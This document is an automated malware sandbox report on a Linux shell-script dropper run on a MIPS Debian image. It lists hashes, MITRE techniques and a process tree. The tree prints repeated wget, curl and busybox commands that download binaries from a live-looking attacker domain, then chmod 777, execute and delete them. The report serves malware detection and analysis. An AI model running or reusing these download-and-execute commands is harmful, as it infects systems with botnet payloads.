4dd53d92e06fcea220f5b50d211376b0613ddac7a1e45e7b4cee9aa1fcca64b3

Analysis

max time kernel
71s
max time network
73s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
02/11/2024, 11:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
4dd53d92e06fcea220f5b50d211376b0613ddac7a1e45e7b4cee9aa1fcca64b3.sh
Size 10KB
Sample241102-m32lfssjay
SHA256 4dd53d92e06fcea220f5b50d211376b0613ddac7a1e45e7b4cee9aa1fcca64b3
MD5 08f97bfa89c4595b9341e1badc203a1f
SHA1 657966ff8f84e6740ec73c866fa7f4b4de36c12d
SHA512 f85495f56fcfd3d77a04043841616027128f716e38a7fa94e5f0c1ca5f7aa5b37592f3526cfe7fb83a5352b62dd79d963dd04e8348840c80bec49973d51459ee
SSDEEP 192:0o3Hi5tYV2SXY4/EVcZe0IUZqsPmIUZqsP3oO2SXY4j3Hi5tR:R9EVoe0
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
895	chmod
918	chmod
969	chmod
984	chmod
1014	chmod
887	chmod
1021	chmod
925	chmod
902	chmod
977	chmod
1007	chmod
825	chmod
832	chmod
992	chmod
772	chmod
939	chmod
749	chmod
910	chmod
799	chmod
840	chmod
871	chmod
932	chmod
741	chmod
947	chmod
954	chmod
961	chmod
1000	chmod
757	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
745	wget
748	busybox
786	curl
795	busybox
907	curl
928	wget
949	rm
991	busybox
999	busybox
750	1Zn323IpR93DvERIdjrbVdlf9ZSTck2H4q
767	busybox
847	rm
919	Ih0xC3pCuhw1dyKipCDZ50WP46NU6ofmOT
929	curl
740	busybox
752	rm
824	busybox
901	busybox
938	busybox
943	wget
950	wget
953	busybox
960	busybox
974	curl
1018	curl
922	curl
946	busybox
958	curl
1004	curl
828	wget
837	curl
899	curl
914	wget
951	curl
1006	busybox
936	curl
777	wget
844	4040u0AX8WPNeDZOn8ps4b79gQfbuIp7ji
848	wget
972	rm
997	curl
761	curl
817	curl
839	busybox
898	wget
933	Ih0xC3pCuhw1dyKipCDZ50WP46NU6ofmOT
944	curl
976	busybox
996	wget
1020	busybox
760	wget
856	curl
884	curl
894	busybox
920	rm
980	wget
1003	wget
1017	wget
754	curl
891	wget
892	curl
965	wget
829	curl
836	wget

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/OVzsRlqzUObCm48sTtpWRcveUiTiaCZN1f	curl
File opened for modification	/tmp/MADCS9BPscRn32W6pQUwQP59xODbic7liT	curl
File opened for modification	/tmp/OZk1THCfmr46R8aqStMe6bpR4zw9dKV9UD	curl
File opened for modification	/tmp/xzCezgyrk5TN6d5wylqimTHoTPbm0hRYZO	curl
File opened for modification	/tmp/UB9kfLFJvty5WVXvRY5RoUScjExiNFOZEb	curl
File opened for modification	/tmp/JTbAAfj2S2h6fSWQD7hUkhwPcHXkJpuCsE	curl
File opened for modification	/tmp/tZAdhwDJzZTzKprWW5aKffQ00jxkDGSyCN	curl
File opened for modification	/tmp/MADCS9BPscRn32W6pQUwQP59xODbic7liT	curl
File opened for modification	/tmp/1Zn323IpR93DvERIdjrbVdlf9ZSTck2H4q	curl
File opened for modification	/tmp/UB9kfLFJvty5WVXvRY5RoUScjExiNFOZEb	curl
File opened for modification	/tmp/fVMmbenTNnjxokodwqr9MJLLN2Drmjfb1N	curl
File opened for modification	/tmp/X8BkmbBbvJCLuG0bVmyq4pOKBrJBJpBt13	curl
File opened for modification	/tmp/OVzsRlqzUObCm48sTtpWRcveUiTiaCZN1f	curl
File opened for modification	/tmp/OZk1THCfmr46R8aqStMe6bpR4zw9dKV9UD	curl
File opened for modification	/tmp/yfIhuRkXZzi31qwV55OSqZ7tUtyLZyjggS	curl
File opened for modification	/tmp/yfIhuRkXZzi31qwV55OSqZ7tUtyLZyjggS	curl
File opened for modification	/tmp/JTbAAfj2S2h6fSWQD7hUkhwPcHXkJpuCsE	curl
File opened for modification	/tmp/4040u0AX8WPNeDZOn8ps4b79gQfbuIp7ji	curl
File opened for modification	/tmp/Ih0xC3pCuhw1dyKipCDZ50WP46NU6ofmOT	curl
File opened for modification	/tmp/4040u0AX8WPNeDZOn8ps4b79gQfbuIp7ji	curl
File opened for modification	/tmp/dJnnOBJeyx15I6lBptmVddqjHWm4ADuTsN	curl
File opened for modification	/tmp/fVMmbenTNnjxokodwqr9MJLLN2Drmjfb1N	curl
File opened for modification	/tmp/1Zn323IpR93DvERIdjrbVdlf9ZSTck2H4q	curl
File opened for modification	/tmp/xzCezgyrk5TN6d5wylqimTHoTPbm0hRYZO	curl
File opened for modification	/tmp/dJnnOBJeyx15I6lBptmVddqjHWm4ADuTsN	curl
File opened for modification	/tmp/Ih0xC3pCuhw1dyKipCDZ50WP46NU6ofmOT	curl
File opened for modification	/tmp/tZAdhwDJzZTzKprWW5aKffQ00jxkDGSyCN	curl
File opened for modification	/tmp/X8BkmbBbvJCLuG0bVmyq4pOKBrJBJpBt13	curl

/tmp/4dd53d92e06fcea220f5b50d211376b0613ddac7a1e45e7b4cee9aa1fcca64b3.sh
/tmp/4dd53d92e06fcea220f5b50d211376b0613ddac7a1e45e7b4cee9aa1fcca64b3.sh
1⤵
PID:709
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:712
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/UB9kfLFJvty5WVXvRY5RoUScjExiNFOZEb
  2⤵
  PID:714
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/UB9kfLFJvty5WVXvRY5RoUScjExiNFOZEb
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:733
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/UB9kfLFJvty5WVXvRY5RoUScjExiNFOZEb
  2⤵
  - System Network Configuration Discovery
  PID:740
- /bin/chmod
  chmod 777 UB9kfLFJvty5WVXvRY5RoUScjExiNFOZEb
  2⤵
  - File and Directory Permissions Modification
  PID:741
- /tmp/UB9kfLFJvty5WVXvRY5RoUScjExiNFOZEb
  ./UB9kfLFJvty5WVXvRY5RoUScjExiNFOZEb
  2⤵
  - Executes dropped EXE
  PID:742
- /bin/rm
  rm UB9kfLFJvty5WVXvRY5RoUScjExiNFOZEb
  2⤵
  PID:744
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/1Zn323IpR93DvERIdjrbVdlf9ZSTck2H4q
  2⤵
  - System Network Configuration Discovery
  PID:745
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/1Zn323IpR93DvERIdjrbVdlf9ZSTck2H4q
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:746
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/1Zn323IpR93DvERIdjrbVdlf9ZSTck2H4q
  2⤵
  - System Network Configuration Discovery
  PID:748
- /bin/chmod
  chmod 777 1Zn323IpR93DvERIdjrbVdlf9ZSTck2H4q
  2⤵
  - File and Directory Permissions Modification
  PID:749
- /tmp/1Zn323IpR93DvERIdjrbVdlf9ZSTck2H4q
  ./1Zn323IpR93DvERIdjrbVdlf9ZSTck2H4q
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:750
- /bin/rm
  rm 1Zn323IpR93DvERIdjrbVdlf9ZSTck2H4q
  2⤵
  - System Network Configuration Discovery
  PID:752
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/X8BkmbBbvJCLuG0bVmyq4pOKBrJBJpBt13
  2⤵
  PID:753
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/X8BkmbBbvJCLuG0bVmyq4pOKBrJBJpBt13
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:754
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/X8BkmbBbvJCLuG0bVmyq4pOKBrJBJpBt13
  2⤵
  PID:756
- /bin/chmod
  chmod 777 X8BkmbBbvJCLuG0bVmyq4pOKBrJBJpBt13
  2⤵
  - File and Directory Permissions Modification
  PID:757
- /tmp/X8BkmbBbvJCLuG0bVmyq4pOKBrJBJpBt13
  ./X8BkmbBbvJCLuG0bVmyq4pOKBrJBJpBt13
  2⤵
  - Executes dropped EXE
  PID:758
- /bin/rm
  rm X8BkmbBbvJCLuG0bVmyq4pOKBrJBJpBt13
  2⤵
  PID:759
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/JTbAAfj2S2h6fSWQD7hUkhwPcHXkJpuCsE
  2⤵
  - System Network Configuration Discovery
  PID:760
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/JTbAAfj2S2h6fSWQD7hUkhwPcHXkJpuCsE
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:761
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/JTbAAfj2S2h6fSWQD7hUkhwPcHXkJpuCsE
  2⤵
  - System Network Configuration Discovery
  PID:767
- /bin/chmod
  chmod 777 JTbAAfj2S2h6fSWQD7hUkhwPcHXkJpuCsE
  2⤵
  - File and Directory Permissions Modification
  PID:772
- /tmp/JTbAAfj2S2h6fSWQD7hUkhwPcHXkJpuCsE
  ./JTbAAfj2S2h6fSWQD7hUkhwPcHXkJpuCsE
  2⤵
  - Executes dropped EXE
  PID:773
- /bin/rm
  rm JTbAAfj2S2h6fSWQD7hUkhwPcHXkJpuCsE
  2⤵
  PID:776
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/xzCezgyrk5TN6d5wylqimTHoTPbm0hRYZO
  2⤵
  - System Network Configuration Discovery
  PID:777
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/xzCezgyrk5TN6d5wylqimTHoTPbm0hRYZO
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:786
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/xzCezgyrk5TN6d5wylqimTHoTPbm0hRYZO
  2⤵
  - System Network Configuration Discovery
  PID:795
- /bin/chmod
  chmod 777 xzCezgyrk5TN6d5wylqimTHoTPbm0hRYZO
  2⤵
  - File and Directory Permissions Modification
  PID:799
- /tmp/xzCezgyrk5TN6d5wylqimTHoTPbm0hRYZO
  ./xzCezgyrk5TN6d5wylqimTHoTPbm0hRYZO
  2⤵
  - Executes dropped EXE
  PID:801
- /bin/rm
  rm xzCezgyrk5TN6d5wylqimTHoTPbm0hRYZO
  2⤵
  PID:803
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/OZk1THCfmr46R8aqStMe6bpR4zw9dKV9UD
  2⤵
  PID:804
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/OZk1THCfmr46R8aqStMe6bpR4zw9dKV9UD
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:817
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/OZk1THCfmr46R8aqStMe6bpR4zw9dKV9UD
  2⤵
  - System Network Configuration Discovery
  PID:824
- /bin/chmod
  chmod 777 OZk1THCfmr46R8aqStMe6bpR4zw9dKV9UD
  2⤵
  - File and Directory Permissions Modification
  PID:825
- /tmp/OZk1THCfmr46R8aqStMe6bpR4zw9dKV9UD
  ./OZk1THCfmr46R8aqStMe6bpR4zw9dKV9UD
  2⤵
  - Executes dropped EXE
  PID:826
- /bin/rm
  rm OZk1THCfmr46R8aqStMe6bpR4zw9dKV9UD
  2⤵
  PID:827
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/fVMmbenTNnjxokodwqr9MJLLN2Drmjfb1N
  2⤵
  - System Network Configuration Discovery
  PID:828
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/fVMmbenTNnjxokodwqr9MJLLN2Drmjfb1N
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:829
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/fVMmbenTNnjxokodwqr9MJLLN2Drmjfb1N
  2⤵
  PID:831
- /bin/chmod
  chmod 777 fVMmbenTNnjxokodwqr9MJLLN2Drmjfb1N
  2⤵
  - File and Directory Permissions Modification
  PID:832
- /tmp/fVMmbenTNnjxokodwqr9MJLLN2Drmjfb1N
  ./fVMmbenTNnjxokodwqr9MJLLN2Drmjfb1N
  2⤵
  - Executes dropped EXE
  PID:833
- /bin/rm
  rm fVMmbenTNnjxokodwqr9MJLLN2Drmjfb1N
  2⤵
  PID:835
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/4040u0AX8WPNeDZOn8ps4b79gQfbuIp7ji
  2⤵
  - System Network Configuration Discovery
  PID:836
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/4040u0AX8WPNeDZOn8ps4b79gQfbuIp7ji
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:837
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/4040u0AX8WPNeDZOn8ps4b79gQfbuIp7ji
  2⤵
  - System Network Configuration Discovery
  PID:839
- /bin/chmod
  chmod 777 4040u0AX8WPNeDZOn8ps4b79gQfbuIp7ji
  2⤵
  - File and Directory Permissions Modification
  PID:840
- /tmp/4040u0AX8WPNeDZOn8ps4b79gQfbuIp7ji
  ./4040u0AX8WPNeDZOn8ps4b79gQfbuIp7ji
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:844
- /bin/rm
  rm 4040u0AX8WPNeDZOn8ps4b79gQfbuIp7ji
  2⤵
  - System Network Configuration Discovery
  PID:847
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/dJnnOBJeyx15I6lBptmVddqjHWm4ADuTsN
  2⤵
  - System Network Configuration Discovery
  PID:848
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/dJnnOBJeyx15I6lBptmVddqjHWm4ADuTsN
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:856
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/dJnnOBJeyx15I6lBptmVddqjHWm4ADuTsN
  2⤵
  PID:867
- /bin/chmod
  chmod 777 dJnnOBJeyx15I6lBptmVddqjHWm4ADuTsN
  2⤵
  - File and Directory Permissions Modification
  PID:871
- /tmp/dJnnOBJeyx15I6lBptmVddqjHWm4ADuTsN
  ./dJnnOBJeyx15I6lBptmVddqjHWm4ADuTsN
  2⤵
  - Executes dropped EXE
  PID:873
- /bin/rm
  rm dJnnOBJeyx15I6lBptmVddqjHWm4ADuTsN
  2⤵
  PID:876
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/OVzsRlqzUObCm48sTtpWRcveUiTiaCZN1f
  2⤵
  PID:877
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/OVzsRlqzUObCm48sTtpWRcveUiTiaCZN1f
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:884
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/OVzsRlqzUObCm48sTtpWRcveUiTiaCZN1f
  2⤵
  PID:886
- /bin/chmod
  chmod 777 OVzsRlqzUObCm48sTtpWRcveUiTiaCZN1f
  2⤵
  - File and Directory Permissions Modification
  PID:887
- /tmp/OVzsRlqzUObCm48sTtpWRcveUiTiaCZN1f
  ./OVzsRlqzUObCm48sTtpWRcveUiTiaCZN1f
  2⤵
  - Executes dropped EXE
  PID:888
- /bin/rm
  rm OVzsRlqzUObCm48sTtpWRcveUiTiaCZN1f
  2⤵
  PID:890
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/yfIhuRkXZzi31qwV55OSqZ7tUtyLZyjggS
  2⤵
  - System Network Configuration Discovery
  PID:891
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/yfIhuRkXZzi31qwV55OSqZ7tUtyLZyjggS
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:892
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/yfIhuRkXZzi31qwV55OSqZ7tUtyLZyjggS
  2⤵
  - System Network Configuration Discovery
  PID:894
- /bin/chmod
  chmod 777 yfIhuRkXZzi31qwV55OSqZ7tUtyLZyjggS
  2⤵
  - File and Directory Permissions Modification
  PID:895
- /tmp/yfIhuRkXZzi31qwV55OSqZ7tUtyLZyjggS
  ./yfIhuRkXZzi31qwV55OSqZ7tUtyLZyjggS
  2⤵
  - Executes dropped EXE
  PID:896
- /bin/rm
  rm yfIhuRkXZzi31qwV55OSqZ7tUtyLZyjggS
  2⤵
  PID:897
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/MADCS9BPscRn32W6pQUwQP59xODbic7liT
  2⤵
  - System Network Configuration Discovery
  PID:898
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/MADCS9BPscRn32W6pQUwQP59xODbic7liT
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:899
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/MADCS9BPscRn32W6pQUwQP59xODbic7liT
  2⤵
  - System Network Configuration Discovery
  PID:901
- /bin/chmod
  chmod 777 MADCS9BPscRn32W6pQUwQP59xODbic7liT
  2⤵
  - File and Directory Permissions Modification
  PID:902
- /tmp/MADCS9BPscRn32W6pQUwQP59xODbic7liT
  ./MADCS9BPscRn32W6pQUwQP59xODbic7liT
  2⤵
  - Executes dropped EXE
  PID:903
- /bin/rm
  rm MADCS9BPscRn32W6pQUwQP59xODbic7liT
  2⤵
  PID:905
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/tZAdhwDJzZTzKprWW5aKffQ00jxkDGSyCN
  2⤵
  PID:906
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/tZAdhwDJzZTzKprWW5aKffQ00jxkDGSyCN
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:907
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/tZAdhwDJzZTzKprWW5aKffQ00jxkDGSyCN
  2⤵
  PID:909
- /bin/chmod
  chmod 777 tZAdhwDJzZTzKprWW5aKffQ00jxkDGSyCN
  2⤵
  - File and Directory Permissions Modification
  PID:910
- /tmp/tZAdhwDJzZTzKprWW5aKffQ00jxkDGSyCN
  ./tZAdhwDJzZTzKprWW5aKffQ00jxkDGSyCN
  2⤵
  - Executes dropped EXE
  PID:911
- /bin/rm
  rm tZAdhwDJzZTzKprWW5aKffQ00jxkDGSyCN
  2⤵
  PID:913
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Ih0xC3pCuhw1dyKipCDZ50WP46NU6ofmOT
  2⤵
  - System Network Configuration Discovery
  PID:914
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Ih0xC3pCuhw1dyKipCDZ50WP46NU6ofmOT
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:915
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Ih0xC3pCuhw1dyKipCDZ50WP46NU6ofmOT
  2⤵
  PID:917
- /bin/chmod
  chmod 777 Ih0xC3pCuhw1dyKipCDZ50WP46NU6ofmOT
  2⤵
  - File and Directory Permissions Modification
  PID:918
- /tmp/Ih0xC3pCuhw1dyKipCDZ50WP46NU6ofmOT
  ./Ih0xC3pCuhw1dyKipCDZ50WP46NU6ofmOT
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:919
- /bin/rm
  rm Ih0xC3pCuhw1dyKipCDZ50WP46NU6ofmOT
  2⤵
  - System Network Configuration Discovery
  PID:920
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/tZAdhwDJzZTzKprWW5aKffQ00jxkDGSyCN
  2⤵
  PID:921
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/tZAdhwDJzZTzKprWW5aKffQ00jxkDGSyCN
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:922
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/tZAdhwDJzZTzKprWW5aKffQ00jxkDGSyCN
  2⤵
  PID:924
- /bin/chmod
  chmod 777 tZAdhwDJzZTzKprWW5aKffQ00jxkDGSyCN
  2⤵
  - File and Directory Permissions Modification
  PID:925
- /tmp/tZAdhwDJzZTzKprWW5aKffQ00jxkDGSyCN
  ./tZAdhwDJzZTzKprWW5aKffQ00jxkDGSyCN
  2⤵
  - Executes dropped EXE
  PID:926
- /bin/rm
  rm tZAdhwDJzZTzKprWW5aKffQ00jxkDGSyCN
  2⤵
  PID:927
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Ih0xC3pCuhw1dyKipCDZ50WP46NU6ofmOT
  2⤵
  - System Network Configuration Discovery
  PID:928
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Ih0xC3pCuhw1dyKipCDZ50WP46NU6ofmOT
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:929
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Ih0xC3pCuhw1dyKipCDZ50WP46NU6ofmOT
  2⤵
  PID:931
- /bin/chmod
  chmod 777 Ih0xC3pCuhw1dyKipCDZ50WP46NU6ofmOT
  2⤵
  - File and Directory Permissions Modification
  PID:932
- /tmp/Ih0xC3pCuhw1dyKipCDZ50WP46NU6ofmOT
  ./Ih0xC3pCuhw1dyKipCDZ50WP46NU6ofmOT
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:933
- /bin/rm
  rm Ih0xC3pCuhw1dyKipCDZ50WP46NU6ofmOT
  2⤵
  PID:934
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/MADCS9BPscRn32W6pQUwQP59xODbic7liT
  2⤵
  PID:935
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/MADCS9BPscRn32W6pQUwQP59xODbic7liT
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:936
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/MADCS9BPscRn32W6pQUwQP59xODbic7liT
  2⤵
  - System Network Configuration Discovery
  PID:938
- /bin/chmod
  chmod 777 MADCS9BPscRn32W6pQUwQP59xODbic7liT
  2⤵
  - File and Directory Permissions Modification
  PID:939
- /tmp/MADCS9BPscRn32W6pQUwQP59xODbic7liT
  ./MADCS9BPscRn32W6pQUwQP59xODbic7liT
  2⤵
  - Executes dropped EXE
  PID:940
- /bin/rm
  rm MADCS9BPscRn32W6pQUwQP59xODbic7liT
  2⤵
  PID:942
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/1Zn323IpR93DvERIdjrbVdlf9ZSTck2H4q
  2⤵
  - System Network Configuration Discovery
  PID:943
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/1Zn323IpR93DvERIdjrbVdlf9ZSTck2H4q
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:944
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/1Zn323IpR93DvERIdjrbVdlf9ZSTck2H4q
  2⤵
  - System Network Configuration Discovery
  PID:946
- /bin/chmod
  chmod 777 1Zn323IpR93DvERIdjrbVdlf9ZSTck2H4q
  2⤵
  - File and Directory Permissions Modification
  PID:947
- /tmp/1Zn323IpR93DvERIdjrbVdlf9ZSTck2H4q
  ./1Zn323IpR93DvERIdjrbVdlf9ZSTck2H4q
  2⤵
  - Executes dropped EXE
  PID:948
- /bin/rm
  rm 1Zn323IpR93DvERIdjrbVdlf9ZSTck2H4q
  2⤵
  - System Network Configuration Discovery
  PID:949
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/UB9kfLFJvty5WVXvRY5RoUScjExiNFOZEb
  2⤵
  - System Network Configuration Discovery
  PID:950
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/UB9kfLFJvty5WVXvRY5RoUScjExiNFOZEb
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:951
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/UB9kfLFJvty5WVXvRY5RoUScjExiNFOZEb
  2⤵
  - System Network Configuration Discovery
  PID:953
- /bin/chmod
  chmod 777 UB9kfLFJvty5WVXvRY5RoUScjExiNFOZEb
  2⤵
  - File and Directory Permissions Modification
  PID:954
- /tmp/UB9kfLFJvty5WVXvRY5RoUScjExiNFOZEb
  ./UB9kfLFJvty5WVXvRY5RoUScjExiNFOZEb
  2⤵
  - Executes dropped EXE
  PID:955
- /bin/rm
  rm UB9kfLFJvty5WVXvRY5RoUScjExiNFOZEb
  2⤵
  PID:956
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/X8BkmbBbvJCLuG0bVmyq4pOKBrJBJpBt13
  2⤵
  PID:957
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/X8BkmbBbvJCLuG0bVmyq4pOKBrJBJpBt13
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:958
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/X8BkmbBbvJCLuG0bVmyq4pOKBrJBJpBt13
  2⤵
  - System Network Configuration Discovery
  PID:960
- /bin/chmod
  chmod 777 X8BkmbBbvJCLuG0bVmyq4pOKBrJBJpBt13
  2⤵
  - File and Directory Permissions Modification
  PID:961
- /tmp/X8BkmbBbvJCLuG0bVmyq4pOKBrJBJpBt13
  ./X8BkmbBbvJCLuG0bVmyq4pOKBrJBJpBt13
  2⤵
  - Executes dropped EXE
  PID:962
- /bin/rm
  rm X8BkmbBbvJCLuG0bVmyq4pOKBrJBJpBt13
  2⤵
  PID:964
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/4040u0AX8WPNeDZOn8ps4b79gQfbuIp7ji
  2⤵
  - System Network Configuration Discovery
  PID:965
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/4040u0AX8WPNeDZOn8ps4b79gQfbuIp7ji
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:966
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/4040u0AX8WPNeDZOn8ps4b79gQfbuIp7ji
  2⤵
  PID:968
- /bin/chmod
  chmod 777 4040u0AX8WPNeDZOn8ps4b79gQfbuIp7ji
  2⤵
  - File and Directory Permissions Modification
  PID:969
- /tmp/4040u0AX8WPNeDZOn8ps4b79gQfbuIp7ji
  ./4040u0AX8WPNeDZOn8ps4b79gQfbuIp7ji
  2⤵
  - Executes dropped EXE
  PID:970
- /bin/rm
  rm 4040u0AX8WPNeDZOn8ps4b79gQfbuIp7ji
  2⤵
  - System Network Configuration Discovery
  PID:972
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/dJnnOBJeyx15I6lBptmVddqjHWm4ADuTsN
  2⤵
  PID:973
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/dJnnOBJeyx15I6lBptmVddqjHWm4ADuTsN
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:974
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/dJnnOBJeyx15I6lBptmVddqjHWm4ADuTsN
  2⤵
  - System Network Configuration Discovery
  PID:976
- /bin/chmod
  chmod 777 dJnnOBJeyx15I6lBptmVddqjHWm4ADuTsN
  2⤵
  - File and Directory Permissions Modification
  PID:977
